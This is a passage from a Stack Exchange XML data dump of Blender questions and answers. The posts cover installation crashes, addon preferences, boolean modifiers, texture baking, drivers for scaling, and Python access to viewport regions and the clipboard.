  <row Id="19785" PostTypeId="1" CreationDate="2014-12-10T17:02:06.697" Score="1" ViewCount="277" Body="&lt;p&gt;I've been looking for a solution to my problem for a few days without finding it, so I'm posting my question here hoping I'm in the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had Blender 2.68 working very well, and I wanted to switch to version 2.72. Because I have Windows Vista 32-bit, I downloaded the 32-bit .exe file, which installed without problems, but when I try to open Blender, a small black window opens and quickly closes and then nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what might be causing this, your help would be welcome. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cordially, Fred&lt;/p&gt;&#xA;" OwnerUserId="8440" LastEditorUserId="12" LastEditDate="2014-12-10T20:46:19.220" LastActivityDate="2015-05-26T19:04:20.090" Title="Black window flashes then disappears when I start Blender 2.72" Tags="&lt;installation&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-05-26T21:08:16.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="19786" PostTypeId="2" ParentId="19779" CreationDate="2014-12-10T17:23:59.393" Score="5" Body="&lt;p&gt;The design you propose is not very blender-like. The way this should be are options under the addon box in User Preferences &gt; Addons. This is how you implement it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SomeAddonPrefs(bpy.types.AddonPreferences):&#xA;    bl_idname = __name__&#xA;    # here you define the addons customizable props&#xA;    some_prop = bpy.props.FloatProperty(default=1.0)&#xA;&#xA;    # here you specify how they are drawn&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(self, &quot;some_prop&quot;)&#xA;&#xA;# and this is how you access those settings in your add-on code&#xA;some_prop = bpy.context.user_preferences.addons[__name__].preferences.some_prop&#xA;&#xA;#for 2.80 use&#xA;some_prop = bpy.context.preferences.addons[__name__].preferences.some_prop&#xA;&#xA;# classes needs to be registered of course&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="67942" LastEditDate="2019-03-03T22:48:55.777" LastActivityDate="2019-03-03T22:48:55.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19787" PostTypeId="2" ParentId="19772" CreationDate="2014-12-10T19:32:36.883" Score="7" Body="&lt;p&gt;You could also do a Difference Boolean Modifier. It's fairly straight forward and useful for creating things like holes though solid geometry (windows is one good example). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The great thing here is that it can be done with a few clicks without taking into accounting measuring sides, just position the two objects as you want them to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cube and Plane&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Urckm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Urckm.png&quot; alt=&quot;&amp;lt;a href=&amp;quot;http://imgur.com/KkmuzbC&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://i.imgur.com/KkmuzbC.png&amp;quot; title=&amp;quot;source: imgur.com&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add Boolean Modifier and change to Difference, then select the Plane as the object to Boolean the Cube with. I had to flip the normal of the plane to get it to work like you want it to.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RXsHI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RXsHI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Apply Modifier and hide the Plane.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sMGDL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sMGDL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;In Edit Mode enable Edge Info on the Mesh Display section.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wgBK0.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wgBK0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I rarely use the Boolean Modifier until after I'm finished texturing all objects in the scene. This is because the Boolean modifier preserves the Materials and UVs from both objects. This saves me some time because I don't have to spend so much time UV mapping complex geometry and can instead work with more primitive shapes and large, simple UV islands.&lt;/p&gt;&#xA;" OwnerUserId="5710" LastEditorDisplayName="user1853" LastEditDate="2015-11-01T16:01:32.890" LastActivityDate="2015-11-01T16:01:32.890" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19788" PostTypeId="2" ParentId="19750" CreationDate="2014-12-10T20:25:44.477" Score="3" Body="&lt;p&gt;This is a very common issue for newer Blender users. There are many hotkeys that they are not aware of, and because of that may unwittingly do something not intended. &#xA;This is a prime example of that. You appear to have accidentally pressed &lt;kbd&gt;H&lt;/kbd&gt; while your camera was selected. This keystroke is the Blender shortcut to hide objects in the viewport. To make all objects in the scene visible again, press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;. This un-hides all objects in the current viewport.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2014-12-10T20:38:35.453" LastActivityDate="2014-12-10T20:38:35.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19789" PostTypeId="1" CreationDate="2014-12-10T20:58:40.397" Score="4" ViewCount="485" Body="&lt;p&gt;Preview render shows all objects properly. When I go to render as animation using PNGs, all objects besides one cube disappear for the rest of the scene. The cube has an image on one face and is used as a background for the scene. Why do all of my objects disappear after one frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blend file &lt;a href=&quot;http://www.pasteall.org/blend/33273&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33273&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First frame of scene&#xA;&lt;img src=&quot;https://i.imgur.com/lX3UaIN.png&quot; alt=&quot;First frame of scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second frame of scene&#xA;&lt;img src=&quot;https://i.imgur.com/ABpPIAD.png&quot; alt=&quot;Second frame of scene&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6313" LastActivityDate="2014-12-11T15:49:57.077" Title="Only one object (cube with background image) is rendering after 1st frame" Tags="&lt;rendering&gt;&lt;keyframes&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19790" PostTypeId="1" CreationDate="2014-12-10T21:39:43.093" Score="3" ViewCount="4831" Body="&lt;p&gt;I have recently downloaded blender 2.72b and am having trouble finding how to texture objects. I have tried to look up videos about it but they all seem to have the Texture tab, in the Properties panel, whereas mine is off-screen and I can't get it on screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get to this tab?&lt;/p&gt;&#xA;" OwnerUserId="8442" LastEditorUserId="3078" LastEditDate="2014-12-10T22:13:13.670" LastActivityDate="2014-12-11T03:35:12.670" Title="Where can I find the Texture tab?" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19792" PostTypeId="2" ParentId="19790" CreationDate="2014-12-10T22:16:16.597" Score="5" Body="&lt;p&gt;The Texture tab can be found in the Properties panel, but in the default state of the interface, it may not be accessible; What you need to do is to simply hover your mouse over the list of tabs in this panel, in the top, and use the Mouse Wheel to either scroll, on press it's button and drag.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3401" LastEditDate="2014-12-11T03:30:52.343" LastActivityDate="2014-12-11T03:30:52.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19793" PostTypeId="1" AcceptedAnswerId="19803" CreationDate="2014-12-10T22:27:21.873" Score="3" ViewCount="748" Body="&lt;p&gt;When animating scale I'm having to juggle 3 F-curves. Which makes little sense for scale, as you would generally keep scale uniform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to animate several properties by one F-curve?&lt;/p&gt;&#xA;" OwnerUserId="3631" LastEditorDisplayName="user7952" LastEditDate="2014-12-10T23:04:06.953" LastActivityDate="2014-12-11T10:48:48.203" Title="Can a single F-curve be bound to several properties?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19794" PostTypeId="2" ParentId="19789" CreationDate="2014-12-10T23:14:35.407" Score="1" Body="&lt;p&gt;May be the motion blur bug with rigid bodies -that seems to be fixed now- so try a recent build..? &#xA;see here &gt; &lt;a href=&quot;https://developer.blender.org/T40017&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T40017&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7915" LastActivityDate="2014-12-10T23:14:35.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19796" PostTypeId="1" AcceptedAnswerId="19798" CreationDate="2014-12-10T23:47:01.500" Score="3" ViewCount="1207" Body="&lt;p&gt;Is it possible to get the clipboard &lt;kbd&gt;Ctrl&lt;/kbd&gt;/&lt;kbd&gt;Cmd&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&quot; buffer content with Python? &lt;/p&gt;&#xA;" OwnerUserId="8364" LastEditorUserId="2617" LastEditDate="2014-12-11T02:42:52.017" LastActivityDate="2014-12-11T02:42:52.017" Title="Access the systems clipboard buffer from Python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19798" PostTypeId="2" ParentId="19796" CreationDate="2014-12-11T01:11:11.513" Score="6" Body="&lt;p&gt;You can get/set the clipboard via &lt;code&gt;bpy.context.window_manager.clipboard&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/bpy.types.WindowManager.html#bpy.types.WindowManager.clipboard&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_72_release/bpy.types.WindowManager.html#bpy.types.WindowManager.clipboard&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-12-11T01:11:11.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19799" PostTypeId="1" CreationDate="2014-12-11T01:36:48.937" Score="1" ViewCount="397" Body="&lt;p&gt;Im trying to render a single frame of BigBuckBunny with blender 2.72b on linux.&#xA;I downloaded all the files needed (2d blender files + &lt;a href=&quot;http://graphicall.org/bbb/index.php&quot; rel=&quot;nofollow&quot;&gt;http://graphicall.org/bbb/index.php&lt;/a&gt; ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to render a single frame as a .PNG file - but whatever I try initiates a crash. I tried it at university with an incredible machine - lots of RAM, competent CPU, a GPU, etc. I also tried it at home on my pc and on a virtual machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I don't really know what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;render-format = .PNG &lt;/li&gt;&#xA;&lt;li&gt;use-extension = 1 &lt;/li&gt;&#xA;&lt;li&gt;render-frame = 250&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I always end up with the following crash message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fra:250 Mem:407.65M (430.03M, Peak 1156.72M) Sce: set Ve:615361 Fa:1079136 La:21&#xA;Saved: /home/user/blender/2d/test_0250.png Time: 00:39.88 (Saving: 00:00.21)&#xA;&#xA;Error: Not freed memory blocks: 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And Blender quits.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ve:615361 Fa:1079136&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ve always same number - Fa changes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try it with the Cycles render engine, I don't get an error, but the PNG file produced is far inferior to the original.&lt;/p&gt;&#xA;" OwnerUserId="8445" LastEditorUserId="5705" LastEditDate="2014-12-15T17:25:33.393" LastActivityDate="2014-12-15T17:25:33.393" Title="render 1 Frame of Big Buck Bunny fails" Tags="&lt;cycles-render-engine&gt;&lt;memory-management&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19800" PostTypeId="2" ParentId="19790" CreationDate="2014-12-11T03:14:09.663" Score="2" Body="&lt;p&gt;To the &lt;strong&gt;Right&lt;/strong&gt; of your screen is the &lt;strong&gt;Properties&lt;/strong&gt; panel, the &lt;em&gt;textures&lt;/em&gt; are an option that you can select under the &lt;strong&gt;Properties&lt;/strong&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't find it, mouse over the tab list until you see the textures; they look like checks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNctu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said this was off-screen for you, try maximizing the blender program, you may have moved it.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2014-12-11T03:35:12.670" LastActivityDate="2014-12-11T03:35:12.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19801" PostTypeId="1" AcceptedAnswerId="19802" CreationDate="2014-12-11T03:27:54.750" Score="1" ViewCount="206" Body="&lt;p&gt;I have applied a texture to a cube in Blender 2.69 (unable to upgrade at this time) following this guide &lt;a href=&quot;https://www.youtube.com/watch?v=il7ajiCepus&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=il7ajiCepus&lt;/a&gt;. It shows up in texture view, as well as solid, but it will not show up in render. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8389" LastActivityDate="2014-12-11T04:38:09.997" Title="Applying a texture to a cube shows up in the editor under the texture viewport and doesn't in render" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19802" PostTypeId="2" ParentId="19801" CreationDate="2014-12-11T04:38:09.997" Score="2" Body="&lt;p&gt;So i had a look , but no textures were in the file so i took a guess , What i THINK is wrong is that you have assigned the material with no texture , To fix this , in the image below there are 2 materials , click the negative button ( make sure you have selected the material with no texture ) . Then go into edit mode , and press a until everything is selected , Click the logo material and click assign&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KuSF3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2jDfM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-12-11T04:38:09.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19803" PostTypeId="2" ParentId="19793" CreationDate="2014-12-11T05:05:03.710" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzsbQ.jpg&quot; alt=&quot;Driver setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would do this with drivers. I don't know if there's a way to make an infinite driver value range, but in this case, I just set it up to be 1000, which is far too big for blender to display the default cube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the object in question (in this case, the default cube) and go to the object panel. Towards the bottom, you will see a section called &quot;custom properties.&quot; Expand that and create a new property. I named mine &quot;scales&quot; to separate it from pre-made properties. You can set the upper and lower limit to however much you want. I used 0.0 and 1000.0 in mine. Make sure you make it a float, or else you will only be able to use whole numbers (a float is a decimal point, ie 1.0, 1.5, 1.0004, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a driver on one of the scale axes (you only need one, which you can copy/paste to the rest). Right click on the channel value slider and create single driver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Split off the viewport into a graph editor, then switch from F-curve display to Drivers display (the red box on the lower left). This will allow you to edit the driver and its data. Open the properties region, just as you would in the viewport. There, you'll see the drivers in their data form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the UI is set up, go back to the custom properties of your cube, right click on the value slider bar of the property you set up and copy data path (roughly half-way down the list). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the driver setup in the graph, change the &quot;type&quot; to one of the options with &quot;value&quot; in it (ie minimum value, maximum value, sum values, average value). In the variable (the lower half of that driver setup area), change the default &quot;transform channel&quot; to &quot;single property.&quot; Change the property type to the object (in my case, the default cube is an object, so i selected object), then find your object in the menu beside it (mine is &quot;cube&quot;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that data you copied from your custom properties? Paste that into the &quot;Path&quot; field below. What it should change to is a small DNA-like symbol, which indicates your link is active. To be safe, click &quot;update dependencies&quot; at the top of the driver data area. Copy that driver to the rest of the channels and you'll be ready to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slide the custom property around to test it. To animate the property, just key and edit the custom property just as you would a transform channel on a bone. It appears in the graph editor and since the driver interpolation is linear, eases are intuitive and very simple. &lt;/p&gt;&#xA;" OwnerUserId="6089" LastEditorUserId="6089" LastEditDate="2014-12-11T05:45:16.370" LastActivityDate="2014-12-11T05:45:16.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20802" PostTypeId="1" CreationDate="2014-12-11T05:45:03.160" Score="1" ViewCount="829" Body="&lt;p&gt;I am attempting to bake textures into a fairly large UV map with cycles for an object that is meant to be placed in a video game. However, when I attempt to bake the textures, only specific areas of the mesh are baked, while other areas are left blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason to this, and is there a way to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run windows 7 64 bit with Blender 2.72 64 bit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/46UQ1.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The textures here that actually do bake are &quot;belt_buckle&quot; &quot;buckle_latch&quot; &quot;belt&quot; and pieces of &quot;Pouch&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an example of one of the nodes that do bake.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MUwyi.png&quot; alt=&quot;working&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the blend file with all textures and normal maps involved. The textures are messy because I wanted to get them outlined quick and dirty to get to the neater bake sooner.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/nht3ftwwnmiy14n/bow%20and%20quiver42testing.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/nht3ftwwnmiy14n/bow%20and%20quiver42testing.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8447" LastEditorUserId="8447" LastEditDate="2014-12-15T08:32:51.527" LastActivityDate="2014-12-15T08:32:51.527" Title="Textures not Baking in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20804" PostTypeId="1" AcceptedAnswerId="20836" CreationDate="2014-12-11T06:51:06.190" Score="3" ViewCount="2114" Body="&lt;p&gt;My ambient occlusion bake in cycles for a sword has only black and white color and none of the recognizable grey gradient shading that goes with ambient occlusion. I am using the 'selected to active' option so I've got my low res and high res with detail models all set up. I followed this 'answer', &lt;a href=&quot;https://blender.stackexchange.com/questions/13508/how-do-i-bake-a-texture-using-cycles-bake?rq=1&quot;&gt;How do I bake a texture using Cycles bake&lt;/a&gt;, in achieving my setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the bake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V5zYf.png&quot; alt=&quot;ambient occlusion bake&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the high res model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mdh2m.png&quot; alt=&quot;high res model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of what I'm thinking the AO should look like. It is from a tutorial I am doing on this sword.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aBVPC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the sword handle bands from the high res model extrude further out than then the low res model's sword handle geometry. To compensate for this, I enabled the 'cage' option and used an extrusion setting that matched the length of the farthest distance that the high res handle bands extruded out from the low res handle, which is cylindrical only. The rest of the sword geometry comparison between lower and higher res models is almost identical except for some high res scratches and detail sculpting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm basically looking for something I may be missing in the entire setup of models and settings for ambient occlusion baking, in order to get that nice ambient occlusion grey gradient shading on my texture.&lt;/p&gt;&#xA;" OwnerUserId="6418" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-12-14T05:43:06.477" Title="How to stop ambient occlusion texture baking in cycles from only having black and white color output?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20806" PostTypeId="2" ParentId="18731" CreationDate="2014-12-11T08:30:00.363" Score="4" Body="&lt;p&gt;You can drive those shapekeys with bones, this is actually the preferred way of doing facial animations. &lt;a href=&quot;http://vimeo.com/21357304&quot; rel=&quot;nofollow&quot;&gt;This video&lt;/a&gt; explains in a detail how to setup the drivers and hook the bones to the shapekeys. In the first part he creates all the face-expression shapekeys and in this second one he drives them with bones.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-11T08:30:00.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20807" PostTypeId="2" ParentId="19744" CreationDate="2014-12-11T10:29:56.807" Score="2" Body="&lt;p&gt;Thank you very much, CoDEmanX! I hoped there is a more efficient method to get the active region. Let me post my own code here I am using now. It delivers the active region of a 3D view even if it is split or in quad view mode, or None if the mouse pointer is not in such a region:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def getActiveViewportRegion(self):&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            if (area.x &amp;lt;= self._mouseX &amp;lt; (area.x+area.width) and&#xA;                area.y &amp;lt;= self._mouseY &amp;lt; (area.y+area.height)):&#xA;                # Mouse is in area&#xA;                if len(area.spaces.active.region_quadviews) &amp;gt; 0:&#xA;                    # Area is quadview&#xA;                    header = next(r for r in area.regions if r.type == 'HEADER')&#xA;&#xA;                    quad_w = area.width/2                       &#xA;                    quad_h = (area.height-header.height)/2        #  +-----------------+&#xA;                    quad_0_x = area.x                             #  | quad 1 | quad 3 |&#xA;                    quad_0_y = area.y + header.height             #  |--------+--------|&#xA;                    quad_1_x = area.x                             #  | quad 0 | quad 2 |&#xA;                    quad_1_y = area.y + quad_h + header.height    #  |-----------------| &#xA;                    quad_2_x = area.x + quad_w                    #  |     Header      |&#xA;                    quad_2_y = area.y + header.height             #  +-----------------+&#xA;&#xA;                    if (quad_0_x &amp;lt;= self._mouseX &amp;lt; (quad_0_x+quad_w ) and&#xA;                        quad_0_y &amp;lt;= self._mouseY &amp;lt; (quad_0_y+quad_h)):&#xA;                        return = area.spaces.active.region_quadviews[0]&#xA;&#xA;                    if (quad_1_x &amp;lt;= self._mouseX &amp;lt; (quad_1_x+quad_w ) and&#xA;                        quad_1_y &amp;lt;= self._mouseY &amp;lt; (quad_1_y+quad_h)):&#xA;                        return = area.spaces.active.region_quadviews[1]&#xA;&#xA;                    if (quad_2_x &amp;lt;= self._mouseX &amp;lt; (quad_2_x+quad_w ) and&#xA;                        quad_2_y &amp;lt;= self._mouseY &amp;lt; (quad_2_y+quad_h)):&#xA;                        return = area.spaces.active.region_quadviews[2]&#xA;&#xA;                    return = area.spaces.active.region_quadviews[3]&#xA;                else:&#xA;                    # Area is not quadview&#xA;                    return area.spaces.active.region_3d&#xA;    return None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;self._mouseX and self._mouseY come from a ModalTimerOperator as in CoDEmanX's code.&lt;/p&gt;&#xA;" OwnerUserId="8421" LastEditorUserId="7777" LastEditDate="2014-12-11T12:43:27.597" LastActivityDate="2014-12-11T12:43:27.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20808" PostTypeId="2" ParentId="19793" CreationDate="2014-12-11T10:48:48.203" Score="2" Body="&lt;p&gt;Every keyed property has it's own F-curve to define it's value over time. There is no way for more than one property to use the same F-Curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While we often consider scale to be one property it is a combination of 3 values, one for each axis X, Y and Z, even when we wish to keep them the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As explained by Italic_ the workaround is to use drivers so that each scale component maintains the same value. While using a custom property is one option, you could also use a normal F-curve for one axis (say X) and use a driver for Y and Z so that they read the value from X. Currently the 3dview doesn't always update properly in this setup but the values are updated properly before rendering. This should be overcome with the new dependency graph work is finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KBNbY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One catch to look out for is keyframing, if you press &lt;kbd&gt;I&lt;/kbd&gt; and select scaling it will add a keyframe to all three scale values. This just leads to confusion as the values will appear to be keyframed (highlighted in yellow/green) but the driver will control the value. To get around that you can right click on the X scale value in the properties panel and Insert Single Keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is that once you insert keyframes for the scale you can adjust them together as one. In the graph editor you can press &lt;kbd&gt;B&lt;/kbd&gt; for box select so that you can select all three points and move them as one. There is also a properties panel &lt;kbd&gt;N&lt;/kbd&gt; in the graph editor so you can see and adjust the points and handle values to get them to match if you do get them out of sync.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-11T10:48:48.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20809" PostTypeId="1" AcceptedAnswerId="20813" CreationDate="2014-12-11T11:09:46.813" Score="11" ViewCount="14738" Body="&lt;p&gt;I run into this issue all the time and it's really frustrating to fix especially on high poly meshes. Either there's no face joining some edges (&quot;zero-area hole&quot;?) or there is a zero-area face. Either way it messes with the normals making ugly black spots all over the mesh. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OeBkC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the normals I'd quite like to either...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;split the upper face, as the dashed line shows,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;or merge the two lower faces by dissolving the edge, as the cross shows.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I do this automatically to the entire mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manual methods aren't acceptable as there's a lot of this kind of geometry. I'd prefer to change the mesh as little as possible, or at least not lose any information by collapsing huge areas.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sometimes is's hard to actually select the face and I resort to selecting an adjacent one, growing the selection with &lt;code&gt;Ctrl Numpad+&lt;/code&gt; and deselecting the others. Once selected, others can be selected with &lt;code&gt;Select-&amp;gt;Select Similar-&amp;gt;Area&lt;/code&gt;. Adjusting the threshold is often necessary to avoid numerical inaccuracies. It also helps if the model is not too small, so maybe scale it up first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an example of a zero-area hole, although I've moved the vertex up so you can see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G0e4H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the zero-area faces back with &lt;code&gt;Mesh-&amp;gt;Clean up-&amp;gt;Fill Holes&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZIwX7.png&quot; alt=&quot;enter image description 